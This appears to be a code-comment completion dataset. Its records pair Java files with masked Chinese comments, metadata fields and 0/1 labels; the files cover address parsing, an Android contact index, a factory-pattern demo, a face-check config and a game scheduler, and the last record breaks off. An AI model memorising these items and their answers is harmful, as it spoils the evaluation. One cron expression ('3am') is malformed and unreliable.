Matcher m = r.matcher(txt);
if (m.find())
{
pNumber=m.group();
}
txt = m.replaceAll(REPLACE);
/**
* txt1用来调api,txt用正则表达式
*/
//取走#号
String txt1=txt;
int jingIndex=txt1.lastIndexOf("#");
if(jingIndex!=-1)
txt1=txt1.substring(0, jingIndex)+txt1.substring(jingIndex+1);
//取出纯地址信息
int endIndex2=txt.lastIndexOf(".");
txt=txt.substring(endIndex1+1, endIndex2);
AddressUtils addressutils=new AddressUtils();
AddressInfo addr=addressutils.addressInfo;//地址信息对象
addr.setName(name);
addr.setPhoneNumber(pNumber);
addressutils.GetAddress(txt1);//参数中不能有“#”,要去掉,使用txt1
//未处理具体地址中包含市县的情况
String province =addr.getProvince();
String county=addr.getCounty();
String city=addr.getCity();
int l=province.length()+county.length()+city.length();
String txtCheck=txt.substring(0, l);
int index=0;
//地址中是否有省
if(province.length()>0)
{
if(txtCheck.indexOf(province.substring(0, province.length()-1))!=-1)
{
index+=province.length()-1;
if(txtCheck.indexOf(province)!=-1)
index++;
}
else
{
addr.setProvince("");
}
}
//地址中是否有市
if(city.length()>0)
{
if(txtCheck.indexOf(city.substring(0, city.length()-1))!=-1)
{
index+=city.length()-1;
if(txtCheck.indexOf(city)!=-1)
index++;
}
else
{
addr.setCity("");
}
}
//地址中是否有县
if(county.length()>0)
{
if(txtCheck.indexOf(county.substring(0, county.length()-1))!=-1)
{
index+=county.length()-1;
if(txtCheck.indexOf(county)!=-1)
index++;
}
else
{
addr.setCounty("");
}
}
txt=txt.substring(index);
// int countyIndex=txt.indexOf(county);
// if(countyIndex==-1||county==""||countyIndex==0)
// {
// int cityIndex=txt.indexOf(city);
// if(cityIndex==-1)
// {
// city=city.substring(0, city.length()-1);
// cityIndex=txt.indexOf(city);
// }
// txt=txt.substring(cityIndex+city.length());
// }
// else
// {
// txt=txt.substring(countyIndex+county.length());
// }
addressutils.addressResolution(txt, flag);
//把地址信息存入json
jsonObject.put("姓名", addr.getName());
jsonObject.put("手机", addr.getPhoneNumber());
JSONArray addressArray = new JSONArray();
addressArray.put(addr.getProvince());
addressArray.put(addr.getCity());
addressArray.put(addr.getCounty());
addressArray.put(addr.getTown());
addressArray.put(addr.getVillage1());
if(flag=='2')
{
addressArray.put(addr.getVillage2());
addressArray.put(addr.getVillage3());
}
jsonObject.put("地址", addressArray);
//System.out.println(jsonObject.toString());
return jsonObject;
}
}
| 1061413241/AddressBook | Resolution.java | 1,175 | //未处理具体地址中包含市县的情况 | line_comment | zh-cn | //package AddressBook;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.json.JSONArray;
import org.json.JSONObject;
public class Resolution {
public static JSONObject addressResolution(String txt,char flag)
{
JSONObject jsonObject=new JSONObject();
//char flag=txt.charAt(0);//flag为难度级别
int endIndex1=txt.lastIndexOf(",");//取出逗号的索引
String name=txt.substring(0, endIndex1);//截取姓名
//取手机号
String pNumber=null;
String REPLACE = "";
String regexP = "0?(13|14|15|18|17)[0-9]{9}";
Pattern r = Pattern.compile(regexP);
Matcher m = r.matcher(txt);
if (m.find())
{
pNumber=m.group();
}
txt = m.replaceAll(REPLACE);
/**
* txt1用来调api,txt用正则表达式
*/
//取走#号
String txt1=txt;
int jingIndex=txt1.lastIndexOf("#");
if(jingIndex!=-1)
txt1=txt1.substring(0, jingIndex)+txt1.substring(jingIndex+1);
//取出纯地址信息
int endIndex2=txt.lastIndexOf(".");
txt=txt.substring(endIndex1+1, endIndex2);
AddressUtils addressutils=new AddressUtils();
AddressInfo addr=addressutils.addressInfo;//地址信息对象
addr.setName(name);
addr.setPhoneNumber(pNumber);
addressutils.GetAddress(txt1);//参数中不能有“#”,要去掉,使用txt1
//未处 <SUF>
String province =addr.getProvince();
String county=addr.getCounty();
String city=addr.getCity();
int l=province.length()+county.length()+city.length();
String txtCheck=txt.substring(0, l);
int index=0;
//地址中是否有省
if(province.length()>0)
{
if(txtCheck.indexOf(province.substring(0, province.length()-1))!=-1)
{
index+=province.length()-1;
if(txtCheck.indexOf(province)!=-1)
index++;
}
else
{
addr.setProvince("");
}
}
//地址中是否有市
if(city.length()>0)
{
if(txtCheck.indexOf(city.substring(0, city.length()-1))!=-1)
{
index+=city.length()-1;
if(txtCheck.indexOf(city)!=-1)
index++;
}
else
{
addr.setCity("");
}
}
//地址中是否有县
if(county.length()>0)
{
if(txtCheck.indexOf(county.substring(0, county.length()-1))!=-1)
{
index+=county.length()-1;
if(txtCheck.indexOf(county)!=-1)
index++;
}
else
{
addr.setCounty("");
}
}
txt=txt.substring(index);
// int countyIndex=txt.indexOf(county);
// if(countyIndex==-1||county==""||countyIndex==0)
// {
// int cityIndex=txt.indexOf(city);
// if(cityIndex==-1)
// {
// city=city.substring(0, city.length()-1);
// cityIndex=txt.indexOf(city);
// }
// txt=txt.substring(cityIndex+city.length());
// }
// else
// {
// txt=txt.substring(countyIndex+county.length());
// }
addressutils.addressResolution(txt, flag);
//把地址信息存入json
jsonObject.put("姓名", addr.getName());
jsonObject.put("手机", addr.getPhoneNumber());
JSONArray addressArray = new JSONArray();
addressArray.put(addr.getProvince());
addressArray.put(addr.getCity());
addressArray.put(addr.getCounty());
addressArray.put(addr.getTown());
addressArray.put(addr.getVillage1());
if(flag=='2')
{
addressArray.put(addr.getVillage2());
addressArray.put(addr.getVillage3());
}
jsonObject.put("地址", addressArray);
//System.out.println(jsonObject.toString());
return jsonObject;
}
}
| 0 |
48210_1 | package com.json.itemdecoration.wx;
import android.app.Activity;
import android.content.Intent;
import android.support.v4.app.FragmentTransaction;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import com.json.itemdecoration.R;
import com.json.itemdecoration.relateview.listener.CheckListener;
import com.json.itemdecoration.wx.bean.User;
import com.json.itemdecoration.wx.right.SortDetailFragment;
import com.json.itemdecoration.wx.right.bean.CategoryOneArrayBean;
import com.json.itemdecoration.wx.right.untils.ItemHeaderDecoration;
import com.json.itemdecoration.wx.utils.ISideBarSelectCallBack;
import com.json.itemdecoration.wx.utils.SideBar;
import java.util.ArrayList;
import java.util.Collections;
/**
* @author puyantao
* @description 模仿微信索引
* @date 2020/10/9 11:37
*/
public class WXActivity extends AppCompatActivity implements CheckListener {
private SideBar mSideBar;
private ArrayList<User> list;
private SortDetailFragment mSortDetailFragment;
private ArrayList<CategoryOneArrayBean> mCategoryOneArrayBeans = new ArrayList<>();
private ArrayList<CategoryOneArrayBean.CategoryTwoArrayBean> twoArrayBeans;
public static void startWxActivity(Activity activity) {
Intent intent = new Intent(activity, WXActivity.class);
Bundle bundle = new Bundle();
intent.putExtras(bundle);
activity.startActivity(intent);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_w_x);
mSideBar = findViewById(R.id.side_bar);
initData();
initEvent();
}
private void initData() {
list = new ArrayList<>();
list.add(new User("亳州")); // 亳[bó]属于不常见的二级汉字
list.add(new User("大娃"));
list.add(new User("二娃"));
list.add(new User("三娃"));
list.add(new User("四娃"));
list.add(new User("五娃"));
list.add(new User("六娃"));
list.add(new User("七娃"));
list.add(new User("喜羊羊"));
list.add(new User("美羊羊"));
list.add(new User("懒羊羊"));
list.add(new User("沸羊羊"));
list.add(new User("暖羊羊"));
list.add(new User("慢羊羊"));
list.add(new User("灰太狼"));
list.add(new User("红太狼"));
list.add(new User("孙悟空"));
list.add(new User("黑猫警长"));
list.add(new User("舒克"));
list.add(new User("贝塔"));
list.add(new User("海尔"));
list.add(new User("阿凡提"));
list.add(new User("邋遢大王"));
list.add(new User("哪吒"));
list.add(new User("没头脑"));
list.add(new User("不高兴"));
list.add(new User("蓝皮鼠"));
list.add(new User("大脸猫"));
list.add(new User("大头儿子"));
list.add(new User("小头爸爸"));
list.add(new User("蓝猫"));
list.add(new User("淘气"));
list.add(new User("叶峰"));
list.add(new User("楚天歌"));
list.add(new User("江流儿"));
list.add(new User("Tom"));
list.add(new User("Jerry"));
list.add(new User("12345"));
list.add(new User("54321"));
list.add(new User("_(:з」∠)_"));
list.add(new User("……%¥#¥%#"));
// 对list进行排序,需要让User实现Comparable接口重写compareTo方法
Collections.sort(list);
String sign = "0";
for (int i = 0; i < list.size(); i++) {
if (i == 0) {
sign = list.get(i).getFirstLetter();
twoArrayBeans = new ArrayList<>();
}
CategoryOneArrayBean oneArrayBean = new CategoryOneArrayBean();
if (sign.equals(list.get(i).getFirstLetter())) {
CategoryOneArrayBean.CategoryTwoArrayBean twoArrayBean = new CategoryOneArrayBean.CategoryTwoArrayBean();
twoArrayBean.setName(list.get(i).getName());
twoArrayBeans.add(twoArrayBean);
} else {
sign = list.get(i).getFirstLetter();
oneArrayBean.setName(list.get(i - 1).getFirstLetter());
oneArrayBean.setCategoryTwoArray(twoArrayBeans);
mCategoryOneArrayBeans.add(oneArrayBean);
twoArrayBeans = new ArrayList<>();
i--;
}
if (i == list.size() - 1) {
oneArrayBean.setName(list.get(i).getFirstLetter());
oneArrayBean.setCategoryTwoArray(twoArrayBeans);
mCategoryOneArrayBeans.add(oneArrayBean);
}
}
ArrayList<String> sileData = new ArrayList<>();
for (int i = 0; i < mCategoryOneArrayBeans.size(); i++) {
sileData.add(mCategoryOneArrayBeans.get(i).getName());
}
mSideBar.setHaveLetters(sileData);
createFragment();
}
public void createFragment() {
FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction();
mSortDetailFragment = new SortDetailFragment();
Bundle bundle = new Bundle();
bundle.putParcelableArrayList("right", mCategoryOneArrayBeans);
mSortDetailFragment.setArguments(bundle);
mSortDetailFragment.setListener(this);
fragmentTransaction.add(R.id.lin_fragment, mSortDetailFragment);
fragmentTransaction.commit();
}
private void initEvent() {
mSideBar.setOnStrSelectCallBack(new ISideBarSelectCallBack() {
@Override
public void onSelectStr(int index, String selectStr) {
for (int position = 0; position < mCategoryOneArrayBeans.size(); position++) {
if (selectStr.equalsIgnoreCase(mCategoryOneArrayBeans.get(position).getName())) {
// 选择到首字母出现的位置
int count = 0;
for (int i = 0; i < position; i++) {
count += mCategoryOneArrayBeans.get(i).getCategoryTwoArray().size();
}
count += position;
mSortDetailFragment.setData(count);
ItemHeaderDecoration.setCurrentTag(String.valueOf(position));
return;
}
}
}
});
}
@Override
public void check(int position, boolean isScroll) {
}
}
| 1067899750/MyRecyclerView | app/src/main/java/com/json/itemdecoration/wx/WXActivity.java | 1,686 | // 亳[bó]属于不常见的二级汉字 | line_comment | zh-cn | package com.json.itemdecoration.wx;
import android.app.Activity;
import android.content.Intent;
import android.support.v4.app.FragmentTransaction;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import com.json.itemdecoration.R;
import com.json.itemdecoration.relateview.listener.CheckListener;
import com.json.itemdecoration.wx.bean.User;
import com.json.itemdecoration.wx.right.SortDetailFragment;
import com.json.itemdecoration.wx.right.bean.CategoryOneArrayBean;
import com.json.itemdecoration.wx.right.untils.ItemHeaderDecoration;
import com.json.itemdecoration.wx.utils.ISideBarSelectCallBack;
import com.json.itemdecoration.wx.utils.SideBar;
import java.util.ArrayList;
import java.util.Collections;
/**
* @author puyantao
* @description 模仿微信索引
* @date 2020/10/9 11:37
*/
public class WXActivity extends AppCompatActivity implements CheckListener {
private SideBar mSideBar;
private ArrayList<User> list;
private SortDetailFragment mSortDetailFragment;
private ArrayList<CategoryOneArrayBean> mCategoryOneArrayBeans = new ArrayList<>();
private ArrayList<CategoryOneArrayBean.CategoryTwoArrayBean> twoArrayBeans;
public static void startWxActivity(Activity activity) {
Intent intent = new Intent(activity, WXActivity.class);
Bundle bundle = new Bundle();
intent.putExtras(bundle);
activity.startActivity(intent);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_w_x);
mSideBar = findViewById(R.id.side_bar);
initData();
initEvent();
}
private void initData() {
list = new ArrayList<>();
list.add(new User("亳州")); // 亳[ <SUF>
list.add(new User("大娃"));
list.add(new User("二娃"));
list.add(new User("三娃"));
list.add(new User("四娃"));
list.add(new User("五娃"));
list.add(new User("六娃"));
list.add(new User("七娃"));
list.add(new User("喜羊羊"));
list.add(new User("美羊羊"));
list.add(new User("懒羊羊"));
list.add(new User("沸羊羊"));
list.add(new User("暖羊羊"));
list.add(new User("慢羊羊"));
list.add(new User("灰太狼"));
list.add(new User("红太狼"));
list.add(new User("孙悟空"));
list.add(new User("黑猫警长"));
list.add(new User("舒克"));
list.add(new User("贝塔"));
list.add(new User("海尔"));
list.add(new User("阿凡提"));
list.add(new User("邋遢大王"));
list.add(new User("哪吒"));
list.add(new User("没头脑"));
list.add(new User("不高兴"));
list.add(new User("蓝皮鼠"));
list.add(new User("大脸猫"));
list.add(new User("大头儿子"));
list.add(new User("小头爸爸"));
list.add(new User("蓝猫"));
list.add(new User("淘气"));
list.add(new User("叶峰"));
list.add(new User("楚天歌"));
list.add(new User("江流儿"));
list.add(new User("Tom"));
list.add(new User("Jerry"));
list.add(new User("12345"));
list.add(new User("54321"));
list.add(new User("_(:з」∠)_"));
list.add(new User("……%¥#¥%#"));
// 对list进行排序,需要让User实现Comparable接口重写compareTo方法
Collections.sort(list);
String sign = "0";
for (int i = 0; i < list.size(); i++) {
if (i == 0) {
sign = list.get(i).getFirstLetter();
twoArrayBeans = new ArrayList<>();
}
CategoryOneArrayBean oneArrayBean = new CategoryOneArrayBean();
if (sign.equals(list.get(i).getFirstLetter())) {
CategoryOneArrayBean.CategoryTwoArrayBean twoArrayBean = new CategoryOneArrayBean.CategoryTwoArrayBean();
twoArrayBean.setName(list.get(i).getName());
twoArrayBeans.add(twoArrayBean);
} else {
sign = list.get(i).getFirstLetter();
oneArrayBean.setName(list.get(i - 1).getFirstLetter());
oneArrayBean.setCategoryTwoArray(twoArrayBeans);
mCategoryOneArrayBeans.add(oneArrayBean);
twoArrayBeans = new ArrayList<>();
i--;
}
if (i == list.size() - 1) {
oneArrayBean.setName(list.get(i).getFirstLetter());
oneArrayBean.setCategoryTwoArray(twoArrayBeans);
mCategoryOneArrayBeans.add(oneArrayBean);
}
}
ArrayList<String> sileData = new ArrayList<>();
for (int i = 0; i < mCategoryOneArrayBeans.size(); i++) {
sileData.add(mCategoryOneArrayBeans.get(i).getName());
}
mSideBar.setHaveLetters(sileData);
createFragment();
}
public void createFragment() {
FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction();
mSortDetailFragment = new SortDetailFragment();
Bundle bundle = new Bundle();
bundle.putParcelableArrayList("right", mCategoryOneArrayBeans);
mSortDetailFragment.setArguments(bundle);
mSortDetailFragment.setListener(this);
fragmentTransaction.add(R.id.lin_fragment, mSortDetailFragment);
fragmentTransaction.commit();
}
private void initEvent() {
mSideBar.setOnStrSelectCallBack(new ISideBarSelectCallBack() {
@Override
public void onSelectStr(int index, String selectStr) {
for (int position = 0; position < mCategoryOneArrayBeans.size(); position++) {
if (selectStr.equalsIgnoreCase(mCategoryOneArrayBeans.get(position).getName())) {
// 选择到首字母出现的位置
int count = 0;
for (int i = 0; i < position; i++) {
count += mCategoryOneArrayBeans.get(i).getCategoryTwoArray().size();
}
count += position;
mSortDetailFragment.setData(count);
ItemHeaderDecoration.setCurrentTag(String.valueOf(position));
return;
}
}
}
});
}
@Override
public void check(int position, boolean isScroll) {
}
}
| 1 |
11962_0 | package com.ryg.chapter_1.FactoryMethodPattern;
import java.util.List;
import java.util.Random;
/**
* @author cbf4Life cbf4life@126.com
* I'm glad to share my knowledge with you all.
* 今天讲女娲造人的故事,这个故事梗概是这样的:
* 很久很久以前,盘古开辟了天地,用身躯造出日月星辰、山川草木,天地一片繁华
* One day,女娲下界走了一遭,哎!太寂寞,太孤独了,没个会笑的、会哭的、会说话的东东
* 那怎么办呢?不用愁,女娲,神仙呀,造出来呀,然后捏泥巴,放八卦炉(后来这个成了太白金星的宝
* 贝)中烤,于是就有了人:
* 我们把这个生产人的过程用Java程序表现出来:
*/
public class HumanFactory {
//定一个烤箱,泥巴塞进去,人就出来,这个太先进了
public static Human createHuman(Class c) {
Human human = null; //定义一个类型的人类
try {
human = (Human) Class.forName(c.getName()).newInstance(); //产生一个人类
} catch (InstantiationException e) {//你要是不说个人类颜色的话,没法烤,要白的黑,你说话了才好烤
System.out.println("必须指定人类的颜色");
} catch (IllegalAccessException e) { //定义的人类有问题,那就烤不出来了,这是...
System.out.println("人类定义错误!");
} catch (ClassNotFoundException e) { //你随便说个人类,我到哪里给你制造去?!
System.out.println("混蛋,你指定的人类找不到!");
}
return human;
}
//女娲生气了,把一团泥巴塞到八卦炉,哎产生啥人类就啥人类
public static Human createHuman(){
Human human=null; //定义一个类型的人类
//首先是获得有多少个实现类,多少个人类
List<Class> concreteHumanList =
ClassUtils.getAllClassByInterface(Human.class); //定义了多少人类
//八卦炉自己开始想烧出什么人就什么人
Random random = new Random();
int rand = random.nextInt(concreteHumanList.size());
human = createHuman(concreteHumanList.get(rand));
return human;
}
} | 1074685590/designPatern | app/src/main/java/com/ryg/chapter_1/FactoryMethodPattern/HumanFactory.java | 653 | /**
* @author cbf4Life cbf4life@126.com
* I'm glad to share my knowledge with you all.
* 今天讲女娲造人的故事,这个故事梗概是这样的:
* 很久很久以前,盘古开辟了天地,用身躯造出日月星辰、山川草木,天地一片繁华
* One day,女娲下界走了一遭,哎!太寂寞,太孤独了,没个会笑的、会哭的、会说话的东东
* 那怎么办呢?不用愁,女娲,神仙呀,造出来呀,然后捏泥巴,放八卦炉(后来这个成了太白金星的宝
* 贝)中烤,于是就有了人:
* 我们把这个生产人的过程用Java程序表现出来:
*/ | block_comment | zh-cn | package com.ryg.chapter_1.FactoryMethodPattern;
import java.util.List;
import java.util.Random;
/**
* @au <SUF>*/
public class HumanFactory {
//定一个烤箱,泥巴塞进去,人就出来,这个太先进了
public static Human createHuman(Class c) {
Human human = null; //定义一个类型的人类
try {
human = (Human) Class.forName(c.getName()).newInstance(); //产生一个人类
} catch (InstantiationException e) {//你要是不说个人类颜色的话,没法烤,要白的黑,你说话了才好烤
System.out.println("必须指定人类的颜色");
} catch (IllegalAccessException e) { //定义的人类有问题,那就烤不出来了,这是...
System.out.println("人类定义错误!");
} catch (ClassNotFoundException e) { //你随便说个人类,我到哪里给你制造去?!
System.out.println("混蛋,你指定的人类找不到!");
}
return human;
}
//女娲生气了,把一团泥巴塞到八卦炉,哎产生啥人类就啥人类
public static Human createHuman(){
Human human=null; //定义一个类型的人类
//首先是获得有多少个实现类,多少个人类
List<Class> concreteHumanList =
ClassUtils.getAllClassByInterface(Human.class); //定义了多少人类
//八卦炉自己开始想烧出什么人就什么人
Random random = new Random();
int rand = random.nextInt(concreteHumanList.size());
human = createHuman(concreteHumanList.get(rand));
return human;
}
} | 1 |
31172_5 | package com.jaydenxiao.androidfire.ui.ClockResult.config;
import android.content.Context;
import android.os.Environment;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.util.Properties;
/**
* Created by xtt on 2017/9/7.
*
*/
public class FaceTimeConfig implements Serializable{
public Properties properties;
public static final String facedbpath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/checkfacedb";
public static final String filepath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config";
public static final String facescore=Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config/facescore";
public static final String configFileName="faceconfig.properties";
public static final String lastSettingTime="lastSettingTime";//最新系统配置时间
public static final String needSync="needSync";//最新用户图片更新时间
public static final String SCEN_THRESHOLD="SCEN_THRESHOLD";//人脸识别阈值
public static final String FACE_SIZE="FACE_SIZE";//最小人脸像素大小
public static final String CONTINUE_FACE_MAXCOUNT="CONTINUE_FACE_MAXCOUNT";//人走开,最大持续人脸数字
public static final String WAIT_TIME_COUNT="WAIT_TIME_COUNT";//待机之前持续时间次数
private String path;
private Context context;
private FaceTimeConfig(){}
public FaceTimeConfig(Context context){
this.context=context;
path=filepath+"/"+configFileName;
properties=loadConfig(path);
if(properties==null){
properties=new Properties();
saveConfig(path,properties);
}
}
public Properties loadConfig(String file) {
Properties properties = new Properties();
try {
FileInputStream s = new FileInputStream(file);
properties.load(s);
} catch (Exception e) {
e.printStackTrace();
return null;
}
return properties;
}
//保存配置文件
public boolean saveConfig( String file, Properties properties) {
try {
File fil=new File(file);
if(!fil.exists())
fil.createNewFile();
FileOutputStream s = new FileOutputStream(fil);
properties.store(s, "");
} catch (Exception e) {
e.printStackTrace();
return false;
}
return true;
}
public void addConfig(String key,String value){
properties.put(key,value);
saveConfig(path,properties);
}
public void removeConfig(String key){
properties.remove(key);
saveConfig(path,properties);
}
public String getConfig(String key){
return properties.getProperty(key);
}
}
| 1097919195/FaceCheck | app/src/main/java/com/jaydenxiao/androidfire/ui/ClockResult/config/FaceTimeConfig.java | 642 | //人走开,最大持续人脸数字 | line_comment | zh-cn | package com.jaydenxiao.androidfire.ui.ClockResult.config;
import android.content.Context;
import android.os.Environment;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.util.Properties;
/**
* Created by xtt on 2017/9/7.
*
*/
public class FaceTimeConfig implements Serializable{
public Properties properties;
public static final String facedbpath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/checkfacedb";
public static final String filepath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config";
public static final String facescore=Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config/facescore";
public static final String configFileName="faceconfig.properties";
public static final String lastSettingTime="lastSettingTime";//最新系统配置时间
public static final String needSync="needSync";//最新用户图片更新时间
public static final String SCEN_THRESHOLD="SCEN_THRESHOLD";//人脸识别阈值
public static final String FACE_SIZE="FACE_SIZE";//最小人脸像素大小
public static final String CONTINUE_FACE_MAXCOUNT="CONTINUE_FACE_MAXCOUNT";//人走 <SUF>
public static final String WAIT_TIME_COUNT="WAIT_TIME_COUNT";//待机之前持续时间次数
private String path;
private Context context;
private FaceTimeConfig(){}
public FaceTimeConfig(Context context){
this.context=context;
path=filepath+"/"+configFileName;
properties=loadConfig(path);
if(properties==null){
properties=new Properties();
saveConfig(path,properties);
}
}
public Properties loadConfig(String file) {
Properties properties = new Properties();
try {
FileInputStream s = new FileInputStream(file);
properties.load(s);
} catch (Exception e) {
e.printStackTrace();
return null;
}
return properties;
}
//保存配置文件
public boolean saveConfig( String file, Properties properties) {
try {
File fil=new File(file);
if(!fil.exists())
fil.createNewFile();
FileOutputStream s = new FileOutputStream(fil);
properties.store(s, "");
} catch (Exception e) {
e.printStackTrace();
return false;
}
return true;
}
public void addConfig(String key,String value){
properties.put(key,value);
saveConfig(path,properties);
}
public void removeConfig(String key){
properties.remove(key);
saveConfig(path,properties);
}
public String getConfig(String key){
return properties.getProperty(key);
}
}
| 0 |
19246_2 | package com.qx.quartz;
import org.quartz.CronScheduleBuilder;
import org.quartz.CronTrigger;
import org.quartz.Job;
import org.quartz.JobBuilder;
import org.quartz.JobDetail;
import org.quartz.Scheduler;
import org.quartz.SchedulerException;
import org.quartz.SchedulerFactory;
import org.quartz.TriggerBuilder;
import org.quartz.impl.StdSchedulerFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.manu.dynasty.template.CanShu;
import com.manu.dynasty.template.YunbiaoTemp;
import com.qx.activity.StrengthGetMgr;
import com.qx.alliancefight.BidMgr;
import com.qx.quartz.job.AllianceResouceOutputJob;
import com.qx.quartz.job.AllianceRewardStoreJob;
import com.qx.quartz.job.BaiZhanDailyAwardJob;
import com.qx.quartz.job.BaiZhanNoticeJob;
import com.qx.quartz.job.BaoXiangQueueJob;
import com.qx.quartz.job.BigHouseWorthReduceJob;
import com.qx.quartz.job.BroadcastJob;
import com.qx.quartz.job.CheckHouseDealJob;
import com.qx.quartz.job.CityBidBillingJob;
import com.qx.quartz.job.CityBidPriceRefreshJob;
import com.qx.quartz.job.CityWarBidClearData;
import com.qx.quartz.job.CleanLMSBJob;
import com.qx.quartz.job.ClearPromptJob;
import com.qx.quartz.job.DailyTaskJob;
import com.qx.quartz.job.DailyTiliJob;
import com.qx.quartz.job.GuojiaChouhenJieSuanJob;
import com.qx.quartz.job.GuojiaDayRankResetJob;
import com.qx.quartz.job.GuojiaSetDiDuiGuoJob;
import com.qx.quartz.job.GuojiaWeekRankResetJob;
import com.qx.quartz.job.LianMengBySWDayRankResetJob;
import com.qx.quartz.job.LianMengBySWWeekRankResetJob;
import com.qx.quartz.job.LogPerHourJob;
import com.qx.quartz.job.LogPerMinuteJob;
import com.qx.quartz.job.LveDuoJunQingJob;
import com.qx.quartz.job.RefreshGlobalActivity;
import com.qx.quartz.job.RefreshGongHeInfo;
import com.qx.quartz.job.RefreshLoginCountJob;
import com.qx.quartz.job.ResetGongJinJob;
import com.qx.quartz.job.SendGongJinAwardJob;
import com.qx.quartz.job.ShopRefreshJob;
import com.qx.quartz.job.YaBiaoJiaChengJob;
import com.qx.quartz.job.YaBiaoManageJob;
import xg.push.XGJob;
public class SchedulerMgr {
public static Scheduler scheduler;
public static SchedulerMgr inst;
public static Logger log = LoggerFactory.getLogger(SchedulerMgr.class);
public SchedulerMgr(){
inst = this;
init();
}
public void init(){
SchedulerFactory sfa = new StdSchedulerFactory();
try {
scheduler = sfa.getScheduler();
scheduler.start();
log.info("获取scheduler成功");
}catch (SchedulerException e) {
log.error("获取scheduler失败");
e.printStackTrace();
}
}
/**
* 添加任务
* @Title: start
* @Description:
*/
public void doSchedule(){
// addScheduler(TestJob.class, "0/10 * * * * ?");
// 每天晚上23:58 发送在线且没有领奖的百战日奖励邮件, 掠夺也会在23:58发送每日奖励邮件,因此都加在这个任务中
addScheduler(BaiZhanDailyAwardJob.class, "0 58 3am * * ?");
//每周一到周六晚上22点衰减高级房屋价值
StringBuffer shuaijianTime=new StringBuffer();
shuaijianTime.append("0 0 ").append(String.valueOf(CanShu.REFRESHTIME_GAOJIFANGWU)).append(" ? * 2-7");
addScheduler(BigHouseWorthReduceJob.class, shuaijianTime.toString());//"0 0 22 ? * 2-7"
//每周日22点分配大房子 1.0无大房子
// StringBuffer fenpeiTime=new StringBuffer();
// fenpeiTime.append("0 0 ").append(String.valueOf(CanShu.REFRESHTIME_GAOJIFANGWU)).append(" ? * 1");
// addScheduler(FenBigHouseJob.class, fenpeiTime.toString());//"0 0 22 ? * 1"
//每天0点检查未完成的房屋交易
addScheduler(CheckHouseDealJob.class, "0 0 0 * * ?");
//每天0点检查/更新联盟状态 TODO 0.99不上
// addScheduler(AllianceVoteJob.class, "0 0 0 * * ?");
// 每天0点刷新国家日榜
addScheduler(GuojiaDayRankResetJob.class, "0 0 0 * * ?");
// 每天0点刷新联盟昨日声望榜
addScheduler(LianMengBySWDayRankResetJob.class, "0 0 0 * * ?");
// 每周一0点刷新国家周榜
addScheduler(GuojiaWeekRankResetJob.class, "0 0 0 ? * 2");
// 每周一0点刷新联盟声望周榜
addScheduler(LianMengBySWWeekRankResetJob.class, "0 0 0 ? * 2");
/*
* 每日任务 固定时间更新每日任务列表
*/
addScheduler(DailyTaskJob.class, "0 0 12,14,18,20,21,0,4 * * ?");
addScheduler(XGJob.class, "0 54 11,17 * * ?");
addScheduler(XGJob.class, "0 40 20 * * ?");
//开启押镖活动
StringBuffer openYBTime=new StringBuffer();
String[] openYB = CanShu.OPENTIME_YUNBIAO.split(":");
int openH = Integer.parseInt(openYB[0]);
int openM = Integer.parseInt(openYB[1]);
openYBTime.append("0 ").append(openM).append(" ").append(openH).append(" * * ?");
addScheduler(YaBiaoManageJob.class, openYBTime.toString());//"0 0 8 * * ?"
//关闭押镖活动
StringBuffer closeYBTime=new StringBuffer();
String[] closeYB = CanShu.CLOSETIME_YUNBIAO.split(":");
int closeH = Integer.parseInt(closeYB[0]);
int closeM = Integer.parseInt(closeYB[1]);
closeYBTime.append("0 ").append(closeM).append(" ").append(closeH).append(" * * ?");
addScheduler(YaBiaoManageJob.class, closeYBTime.toString());//0 0 11 * * ?
//开启押镖活动福利1 2016年1月27日去掉 2016年2月1日加回来
StringBuffer openYBMORETime1=new StringBuffer();
String[] openYBMORE1 = YunbiaoTemp.incomeAdd_startTime1.split(":");
int openHMORE1 = Integer.parseInt(openYBMORE1[0]);
int openMMORE1 = Integer.parseInt(openYBMORE1[1]);
openYBMORETime1.append("0 ").append(openMMORE1).append(" ").append(openHMORE1).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, openYBMORETime1.toString());//"0 0 8 * * ?"
//开启押镖活动福利2
StringBuffer openYBMORETime2=new StringBuffer();
String[] openYBMORE2 =YunbiaoTemp.incomeAdd_startTime2.split(":");
int openHMORE2 = Integer.parseInt(openYBMORE2[0]);
int openMMORE2 = Integer.parseInt(openYBMORE2[1]);
openYBMORETime2.append("0 ").append(openMMORE2).append(" ").append(openHMORE2).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, openYBMORETime2.toString());//"0 0 8 * * ?"
//开启押镖活动福利3
StringBuffer openYBMORETime3=new StringBuffer();
String[] openYBMORE3 =YunbiaoTemp.incomeAdd_startTime3.split(":");
int openHMORE3 = Integer.parseInt(openYBMORE3[0]);
int openMMORE3 = Integer.parseInt(openYBMORE3[1]);
openYBMORETime3.append("0 ").append(openMMORE3).append(" ").append(openHMORE3).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, openYBMORETime3.toString());//"0 0 8 * * ?"
// //关闭押镖活动福利1 2016年1月27日 去掉
StringBuffer closeYBMORETime1=new StringBuffer();
String[] closeYBMORE1 = YunbiaoTemp.incomeAdd_endTime1.split(":");
int closeHMORE1 = Integer.parseInt(closeYBMORE1[0]);
int closeMMORE1 = Integer.parseInt(closeYBMORE1[1]);
closeYBMORETime1.append("0 ").append(closeMMORE1).append(" ").append(closeHMORE1).append(" * * ?");
